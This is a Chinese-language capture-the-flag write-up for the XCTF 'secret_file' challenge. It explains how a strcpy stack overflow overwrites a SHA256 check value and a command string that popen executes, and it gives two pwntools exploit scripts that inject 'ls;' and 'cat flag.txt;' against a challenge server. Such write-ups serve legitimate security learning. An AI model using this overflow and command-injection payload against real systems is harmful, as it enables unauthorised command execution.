XCTF-secret_file-WP

Posted on Dec 6, 2020

这道题目我觉得应该算是逆向的题目,其实是一个简单的栈溢出,但是程序的逻辑不是很好懂,所以我也没有自己做出来,还是有些遗憾的。

第一个框中的getline,对于指向0的指针,会自动malloc一个空间并且让lineptr指向这个空间。而且getline是读到'\n'为止的。

第二个框中的strcpy,让我们有了栈溢出的机会。

第个框是一个sha256生成函数

在a2中存了a1指向的,以a3为长度的字符串的SHA256值。在主调函数的视角里就是在v16开始的这段空间里面存了从dest开始的长为0x100的字符串的SHA256值。

而在此之后的循环了

将v16开始的(这里把v16传值给了v4,让v4指向同一个地址,对v5也进行了同样的操作,v5指向的是v17指向的地址)的SHA256值转为十六进制存在了从v17开始的地址空间里。

这里对v15开始的一段地址空间和v17开始的一段地址空间进行了比较,在相同时就可以通过popen执行v14中存的指令,并会执行后的输出存在v9中,并输出。

所以我们先输入0x100个字符,并算出其SHA256值,转为十六进制,覆盖v15这段空间,并覆盖v14这段指令字符串,通过popen执行就可以拿flag了。

from pwn import *                                                                  
from hashlib import *                                                              
context(log_level = 'debug')                                                       
                                                                                   
sh = remote("220.249.52.133","45738")                                              
                                                                                   
payload = 'a'*0x100 + 'ls;'.ljust(0x1b,"a") + hashlib.sha256('a'*0x100).hexdigest()
sh.sendline(payload)                                                               
                                                                                   
sh.interactive()                                                                   

先通过这个exp看一下服务器上有什么。

然后就可以拿flag了。

from pwn import *                                                                             
from hashlib import *                                                                         
context(log_level = 'debug')                                                                  
                                                                                              
sh = remote("220.249.52.133","45738")                                                         
                                                                                              
payload = 'a'*0x100 + 'cat flag.txt;'.ljust(0x1b,"a") + hashlib.sha256('a'*0x100).hexdigest() 
sh.sendline(payload)                                                                          
                                                                                              
sh.interactive()                                                                              
                                                                                              

这道题暴露了我不仔细分析程序就放弃的问题,应当在做题时更耐心一点。